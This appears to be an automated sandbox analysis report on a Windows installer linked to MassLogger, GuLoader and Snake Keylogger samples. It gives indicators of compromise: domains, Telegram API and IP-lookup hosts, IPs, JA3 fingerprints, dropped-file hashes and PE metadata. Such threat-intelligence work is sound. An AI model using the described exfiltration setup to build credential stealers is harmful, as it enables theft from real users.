	UF7jzc7ETP.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
149.154.167.220	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
api.telegram.org	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
checkip.dyndns.com	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	fqbVL4XxCr.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	962Zrwh5bU.exe	Get hash	malicious	Azorult	Browse	104.21.75.48
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
UTMEMUS	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	tNXl4XhgmV.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	MBOaS3GRtF.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
3b5074b1b5d032e5620f69f9f700ff0e	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZFCKpFXpzx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	142.250.185.129 216.58.206.46
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.129 216.58.206.46
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.129 216.58.206.46
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.129 216.58.206.46
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.185.129 216.58.206.46
	AM983ebb5F.exe	Get hash	malicious	GuLoader	Browse	142.250.185.129 216.58.206.46
	av8XPPpdBc.exe	Get hash	malicious	GuLoader	Browse	142.250.185.129 216.58.206.46
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.185.129 216.58.206.46
	7uY105UTJU.exe	Get hash	malicious	GuLoader	Browse	142.250.185.129 216.58.206.46
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.185.129 216.58.206.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	9Yn5tjyOgT.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Bombestoppets\Katolicere.Kup

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	data
Category:	dropped
Size (bytes):	82187
Entropy (8bit):	4.587500544284946
Encrypted:	false
SSDEEP:	768:lTZf23K1a7wxwgK5hHPeBSZdU3O04zV4JiUFThTU1v38rrjDCLaJ6mKK7ckXLhAg:lT12yoASE8CJtVTK3UTxs8Sg
MD5:	AD2D7A674C4C9CB91F89D8E03FE5C993
SHA1:	17C8A5862DBABA28424F66FA18AB612CA645AA76
SHA-256:	6CD343DF53989BF2D8F1D82722032DB666D44D270EFCAED7129090FB312A45E6
SHA-512:	9F3B3B979F6FA955BF99D3266D94FFFAD5BC25FB9B924A1C8607E86F0D8F9DF91445F84F1317051DC19FF6B5F83A32A50D25D4A1646CE1F4565736DCE9A5193B
Malicious:	false
Reputation:	low
Preview:	....}.......................+...................................................B...........................5.............hh.......................llllll.....ccccc.....V....55.tttt.........................C..5.A..S.`..AAAAAA.....i....QQ.........P......CCCCC...........WW...%%%%%%....e..............''...........q.....W......C...____.................#.........6.....\.............(............h....''.... ......................WW....AAA........9....E......e..GGGGG.................."......................................*............ff.aa.....tt.L.....eee.....................+..........................................EE......................gg..............................................%%%.A................D...........C............%.}}.UU......................ii.................. .L...u...................YYY.H..}}.^^.>.BB...{......EE......\\\..........R...............................ff....\\..........\|\|\|\|...aaaa..^^^^^..........C.................IIIII.............................Y.F.....

C:\Users\user\AppData\Local\Iw\Bombestoppets\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Bombestoppets\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Bombestoppets\prepares.pli

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Iw\Klunken.Pet

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	data
Category:	dropped
Size (bytes):	276296
Entropy (8bit):	7.772463859530026
Encrypted:	false
SSDEEP:	6144:968ENVGVOEVYMieviL5xEgopRlm16xQFtP3sJM5zQ9N:9/ENsVOESDec5GRlosJczQz
MD5:	F6AD06A95089556FEC6BC8D248E01EF7
SHA1:	9C3EC9838644EA362990222672BFEB857D02E3E3
SHA-256:	E7D5F3AD1B0D29AF8DCC29144F423A4328CC588F742A02630C90D7DEEF1C4BE3
SHA-512:	54FF1678EC6CAD600D727CB1DDB9DAA462A23A5791F112588C769104341123FFB4C45F356A3395D2012B0A16B1C67CBCF4FD1F34126346888C578EA396F9D316
Malicious:	false
Preview:	........GG...................HH.Q........}}...........................{..6.........RR...E.'..........]]...EE.MM.;.. .................u.......//.............K.&&&&.....aaaaa......@@@.___.iii.$$..........II..1..(.......DD..GGG.....y........r....}...!..........}}.k..............t......z....H......CC..B......................................ss...........-........._..............C.'.ccc............?.\|...33333.~..llll.............j...K.<.......I....""...2.xx.g..................................k..I.?...;....q..........c...8............88.``....e.....YY.......................7.5555555....................QQ..................#..............A..........'..r.._.......~~~~.Q.\.............B.%.....UU..../.ii.........uuu.mmmmm.a......0........................................9.....#####.....J........u....~....vv..A..44.....8.........k............-.5..}...................j.............!!!.....XXX.....kkk....i.~.EE. .....................(..............P..QQ..Z..........................JJ......b..g........

C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ZaRP7yvL1J.exe, Detection: malicious, Browse Filename: 4AMVusDMPP.exe, Detection: malicious, Browse Filename: 4AMVusDMPP.exe, Detection: malicious, Browse Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: czHx16QwGQ.exe, Detection: malicious, Browse Filename: rXKfKM0T49.exe, Detection: malicious, Browse Filename: b5BQbAhwVD.exe, Detection: malicious, Browse Filename: 9Yn5tjyOgT.exe, Detection: malicious, Browse Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsj8EFC.tmp

Download File

Process:	C:\Users\user\Desktop\c7WJL1gt32.exe
File Type:	data
Category:	dropped
Size (bytes):	1483092
Entropy (8bit):	5.46659686299126
Encrypted:	false
SSDEEP:	24576:9rDlMosJcbo3xX3y4bz2lWwWo6rSTZyQ6:7PoBXbz2luo6rS1yB
MD5:	D6102601869F9C2585F563EA56C429BD
SHA1:	3E48554E7B89909E14B7F8147E114C231082A489
SHA-256:	37205018756248334057C7BA2E2C9152EB21F455680F3341B460C2DB43D5BDB6
SHA-512:	E10BD25EC5FD9BBE00BA0D0E2AB3BC191BDE34E1466610A5F06D9EF50E9E6170F4CAD7EB93EC0DDEE5DE479B18327D502DD188A83FADF49A15749BA009D6B17F
Malicious:	false
Preview:	B6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.959597258531055
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	c7WJL1gt32.exe
File size:	1'017'781 bytes
MD5:	7549ee46b6e4391bb5d33788fb901e8d
SHA1:	d37b7af1fd0bbb25904818f93b4f992af8631fdd
SHA256:	08972ea67ce0756e8af06aeea9628d2ec00392351f8aaaf69cde005f79d74051
SHA512:	294de0650592e91a5bbd6d5311898a0a7d6093fc0645f096904abe54e050788e1b5c0448db85a1e6b443b979d600c4912b48fc278d8792f7a5ad7b94d313cae6
SSDEEP:	24576:9jwKCNW7eeGnMYvkx0qqFu6zd9qPvFwkAMZCnJOaqZKNK:V1Cc7nG5Maq0H+9wkjKoH+K
TLSH:	3325230E72618D03C4718E76AA27955F727DAF6B4D2667C32341386E6E3F38D0C72694
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FC729450C63h
push ebx
call 00007FC729453F2Dh
cmp eax, ebx
je 00007FC729450C59h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FC729453EA7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FC729450C3Ch
push 0000000Ah
call 00007FC729453F00h
push 00000008h
call 00007FC729453EF9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FC729453EEDh
cmp eax, ebx
je 00007FC729450C61h
push 0000001Eh
call eax
test eax, eax
je 00007FC729450C59h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
